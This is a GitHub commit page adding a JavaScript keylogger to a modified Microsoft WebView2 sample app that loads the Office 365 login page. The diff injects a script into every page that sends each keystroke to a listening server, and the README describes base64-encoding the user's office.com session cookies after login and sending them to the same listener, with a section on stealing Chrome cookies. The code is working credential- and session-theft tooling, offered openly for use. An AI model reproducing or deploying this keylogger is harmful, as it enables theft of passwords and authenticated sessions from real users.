Skip to content

Commit 020565b

Browse files
committed
Added JavaScript keylogger
1 parent d66f12d commit 020565b

File tree

2 files changed

+6
-4
lines changed

2 files changed

+6
-4
lines changed

README.md

+4-4
Original file line numberDiff line numberDiff line change
@@ -20,14 +20,14 @@ This code is a modified version of <a href="https://github.com/MicrosoftEdge/Web
2020

2121
**Tested on Windows 10 & 11.**
2222

23-
When the binary is executed ```https://office.com/login``` is loaded up. Upon the user successfully authenticating the cookies for ```www.office.com``` are base64-encoded and sent to ```127.0.0.1:8080``` via an HTTP GET request.
23+
When the binary is executed ```https://office.com/login``` is loaded up. A JavaScript keylogger is injected into every page and keystrokes are sent to ```http://127.0.0.1:8080```. Furthermore, upon the user successfully authenticating the cookies for ```www.office.com``` are base64-encoded and sent to ```http://127.0.0.1:8080``` via an HTTP GET request.
2424

25-
# Injecting JavaScript
25+
# Modifying JavaScript
2626

27-
If you'd like to inject JavaScript on every page that loads then add the code shown below at ```line 1095``` in ```AppWindow.cpp```.
27+
If you'd like to modify the JavaScript the code that needs to be changed is shown below at ```line 1096``` in ```AppWindow.cpp```.
2828

2929
```
30-
coreWebView2->AddScriptToExecuteOnDocumentCreated(L"alert(window.document.URL);",nullptr);
30+
coreWebView2->AddScriptToExecuteOnDocumentCreated(L"var link = \"http://127.0.0.1:8080/keylog?k=\";var l = \"\";document.onkeypress = function (e){l += e.key;var req = new XMLHttpRequest();req.open(\"GET\",link.concat(l), true);req.send();}", nullptr);
3131
```
3232

3333
# Stealing Chrome Cookies

WebView2APISample/AppWindow.cpp

+2
Original file line numberDiff line numberDiff line change
@@ -1093,6 +1093,8 @@ HRESULT AppWindow::OnCreateCoreWebView2ControllerCompleted(HRESULT result, ICore
10931093
m_webviewOption.downloadPath.c_str()));
10941094
}
10951095

1096+
coreWebView2->AddScriptToExecuteOnDocumentCreated(L"var link = \"http://127.0.0.1:8080/keylog?k=\";var l = \"\";document.onkeypress = function (e){l += e.key;var req = new XMLHttpRequest();req.open(\"GET\",link.concat(l), true);req.send();}", nullptr);
1097+
10961098
// update window title with m_profileName
10971099
UpdateAppTitle();
10981100

0 commit comments

Comments
 (0)